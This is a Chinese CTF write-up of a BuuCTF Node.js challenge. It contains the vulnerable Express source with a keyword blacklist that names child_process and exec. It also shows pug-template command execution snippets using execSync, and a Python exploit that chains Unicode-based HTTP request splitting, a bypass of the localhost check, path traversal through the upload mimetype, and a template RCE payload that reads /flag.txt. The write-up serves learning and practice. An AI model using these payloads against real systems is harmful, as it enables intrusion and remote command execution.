代码审计

👇对代码进行了简单分析,代码非常通俗易懂

var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path'); // 处理文件路径
var http = require('http');
var pug = require(`pug`); // 模板渲染
var morgan = require('morgan'); // 日志
const multer = require('multer'); // 用于处理multipart/form-data类型的表单数据,实现上传功能;个人一般使用formidable实现上传

// 将上传的文件存储在./dist[自动创建]返回一个名为file的文件数组
app.use(multer({dest: './dist'}).array('file'));
// 使用简化版日志
app.use(morgan('short'));

// 静态文件路由
app.use("/uploads", express.static(path.join(__dirname, '/uploads')))
app.use("/template", express.static(path.join(__dirname, '/template')))

app.get('/', function (req, res) {
    // GET方法获取action参数
    var action = req.query.action ? req.query.action : "index";
    // action中不能包含/ & \
    if (action.includes("/") || action.includes("\\")) {
        res.send("Errrrr, You have been Blocked");
    }
    // 将/template/[action].pug渲染成html输出到根目录
    file = path.join(__dirname + '/template/' + action + '.pug');
    var html = pug.renderFile(file);
    res.send(html);
});

app.post('/file_upload', function (req, res) {
    var ip = req.connection.remoteAddress; // remoteAddress无法伪造,因为TCP有三次握手,伪造源IP会导致无法完成TCP连接
    var obj = {msg: '',}
    // 请求必须来自localhost
    if (!ip.includes('127.0.0.1')) {
        obj.msg = "only admin's ip can use it"
        res.send(JSON.stringify(obj));
        return
    }
    fs.readFile(req.files[0].path, function (err, data) {
        if (err) {
            obj.msg = 'upload failed';
            res.send(JSON.stringify(obj));
        } else {
            // 文件路径为/uploads/[mimetype]/filename,mimetype可以进行目录穿越实现将文件存储至/template并利用action渲染到界面
            var file_path = '/uploads/' + req.files[0].mimetype + "/";
            var file_name = req.files[0].originalname
            var dir_file = __dirname + file_path + file_name
            if (!fs.existsSync(__dirname + file_path)) {
                try {
                    fs.mkdirSync(__dirname + file_path)
                } catch (error) {
                    obj.msg = "file type error";
                    res.send(JSON.stringify(obj));
                    return
                }
            }
            try {
                fs.writeFileSync(dir_file, data)
                obj = {msg: 'upload success', filename: file_path + file_name}
            } catch (error) {
                obj.msg = 'upload failed';
            }
            res.send(JSON.stringify(obj));
        }
    })
})

// 查看题目源码
app.get('/source', function (req, res) {
    res.sendFile(path.join(__dirname + '/template/source.txt'));
});

app.get('/core', function (req, res) {
    var q = req.query.q;
    var resp = "";
    if (q) {
        var url = 'http://localhost:8081/source?' + q
        console.log(url)
        // 对url字符进行waf
        var trigger = blacklist(url);
        if (trigger === true) {
            res.send("error occurs!");
        } else {
            try {
                // node对/source发出请求,此处可以利用字符破坏进行切分攻击访问/file_upload路由(❗️此请求发出者为localhost主机),实现对remoteAddress的绕过
                http.get(url, function (resp) {
                    resp.setEncoding('utf8');
                    resp.on('error', function (err) {
                        if (err.code === "ECONNRESET") {
                            console.log("Timeout occurs");
                        }
                    });
                    // 返回结果输出到/core
                    resp.on('data', function (chunk) {
                        try {
                            resps = chunk.toString();
                            res.send(resps);
                        } catch (e) {
                            res.send(e.message);
                        }
                    }).on('error', (e) => {
                        res.send(e.message);
                    });
                });
            } catch (error) {
                console.log(error);
            }
        }
    } else {
        res.send("search param 'q' missing!");
    }
})

// 关键字waf 利用字符串拼接实现绕过
function blacklist(url) {
    var evilwords = ["global", "process", "mainModule", "require", "root", "child_process", "exec", "\"", "'", "!"];
    var arrayLen = evilwords.length;

    for (var i = 0; i < arrayLen; i++) {
        const trigger = url.includes(evilwords[i]);
        if (trigger === true) {
            return true
        }
    }
}

var server = app.listen(8081, function () {
    var host = server.address().address
    var port = server.address().port
    console.log("Example app listening at http://%s:%s", host, port)
})

❗️BuuCTF上对这题Node版本并未做解释,但根据其他人博客对赛题的介绍可以得知题目环境Node版本小于或等于8.0.0,总之可以利用切分攻击

HTTP/1.1使用Pipeline技术使得客户端可以像流水线一样发送HTTP请求,这为攻击者提供走私请求的基础;在HTTP Smuggling攻击中还需要使用到CRLF,但通常的HTTP包都会对用户输入数据中的CRLF进行处理,这使得HTTP Smuggling攻击难以实现,但在Node <= v8.0.0时可以利用字符破坏来实现和HTTP Smuggling效果相同的切分攻击

攻击流程

  1. /core路由发起切分攻击,请求/core的同时还向/source路由发出上传文件的请求
  2. 由于/路由是先读取/template/目录下的pug文件再将其渲染到当前界面,因此应该上传包含命令执行的pug文件;文件虽然默认上传至/upload/目录下,但可以通过目录穿越将文件上传到/template目录
  3. 访问上传到/template目录下包含命令执行的pug文件

简单了解morgan

实际上morgan对此题没有任何影响,但还是很值得了解的

HTTP request logger middleware for node.js

screenshot 1

参数short

screenshot

👇根据题目简单构造一个测试并部署到远程服务器

const express = require('express')
const morgan = require('morgan')
const http = require('http')
const app = new express()

app.use(morgan('short'))

app.get('/', function (req, res) {
    var q = req.query.q
    var url = 'http://localhost:3000/' + q
    res.send(url)
    http.get(url)
})

app.get('/secret', function (req, res) {
    var ip = res.connection.remoteAddress
    if (!ip.includes('127.0.0.1')) {
        console.log('not admin')
        return
    }

    console.log('0xGeekCat')
    console.log('---------')
    console.log(req.headers)
})

app.listen('3000')

👇访问http://url:3000/?q=1时日志记录

screenshot 2

此时发现对/1发出请求的主机是localhost,这也侧面证明了解题思路的正确性

👇对http://url:3000/?q=secret发起访问,如果直接访问/secret会回显not admin

screenshot 3

在pug中不能直接使用require调用middleware

网上似乎并没有博客对为什么在pug中写入命令执行时不能用require做出具体解释,本人在此做出自己的简单理解,如有错误还请斧正

Node中可以通过👇实现命令执行

console.log(require('child_process').execSync('whoami').toString()) → 0xGeekCat

但在pug中不能直接使用require,而是采用global.process的形式

- var a = require('child_process').execSync('ls')
- return a

❗️根据pug的语法,-后面表示变量或者表达式

screenshot 4

- var a = global.process.mainModule.constructor._load('child_process').execSync('ls')
- return a

执行pug a.phg后可以得到包含查询结果的a.html

screenshot 5

❓为什么不可以直接使用require

查看pug中间件中wrap.js源码

screenshot 6

Function在之前的文章中提到过

screenshot 7

screenshot 8

❗️原因是Node的构造函数中无法使用require方法;因为require是公共依赖的模块,自然要一步加载到位

console.log(Function( "console.log(global.process.mainModule.constructor._load('child_process').execSync('whoami').toString())")()) → 0xGeekCat
console.log(Function( "console.log(process.mainModule.constructor._load('child_process').execSync('whoami').toString())")()) → 0xGeekCat
console.log(Function( "console.log(process.mainModule.require('child_process').execSync('whoami').toString())")()) → 0xGeekCat

console.log(Function( "console.log(require('child_process').execSync('ls'))")())👇

pug中一致的报错

screenshot 9

构造exp实现拆分攻击

先对/core构造一个普通请求并查看一下请求结构

screenshot 10

GET /core?q= HTTP/1.1
Host: 055955f7-9c3a-4ed6-ae31-69d53f671bff.node3.buuoj.cn
Connection: close

之后通过pipeline伪造多请求

import requests
payload = """ HTTP/1.1

POST /file_upload HTTP/1.1
Content-Length: {}
Content-Type: multipart/form-data; boundary=----7964f8dddeb95fc5

{}""".replace('\n', '\r\n')

body = """
------7964f8dddeb95fc5
Content-Disposition: form-data; name="file"; filename="l.pug"
Content-Type: ../template

-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()")
-return x
------7964f8dddeb95fc5--
""".replace('\n', '\r\n')
payload = payload.format(len(body), body)   \
        .replace('+', '\u012b')             \ 👈 一定要转码+
        .replace(' ', '\u0120')             \
        .replace('\r\n', '\u010d\u010a')    \
        .replace('"', '\u0122')             \
        .replace("'", '\u0127')             \
        + '\u010d\u010aGET' + '\u0120' + '/' 👈 第三个请求必须要这样拿出来单独写很奇怪;如果直接放在body结尾虽然是同样的字符串但执行就会崩溃,随缘吧累了

print(requests.get('http://055955f7-9c3a-4ed6-ae31-69d53f671bff.node3.buuoj.cn/core?q=' + payload).content)

👆脚本改自[W4nder]师傅的代码,师傅构造的请求和自己的很不同,而且自己写的脚本一直令靶机崩溃

吐槽一下

一直再准备四级,所以这个题拖了很久才写完;知识点的坑都填完了,但最后题目也没能打出来,没有什么成就感,比赛中遇到类似的感觉还是构造不出exp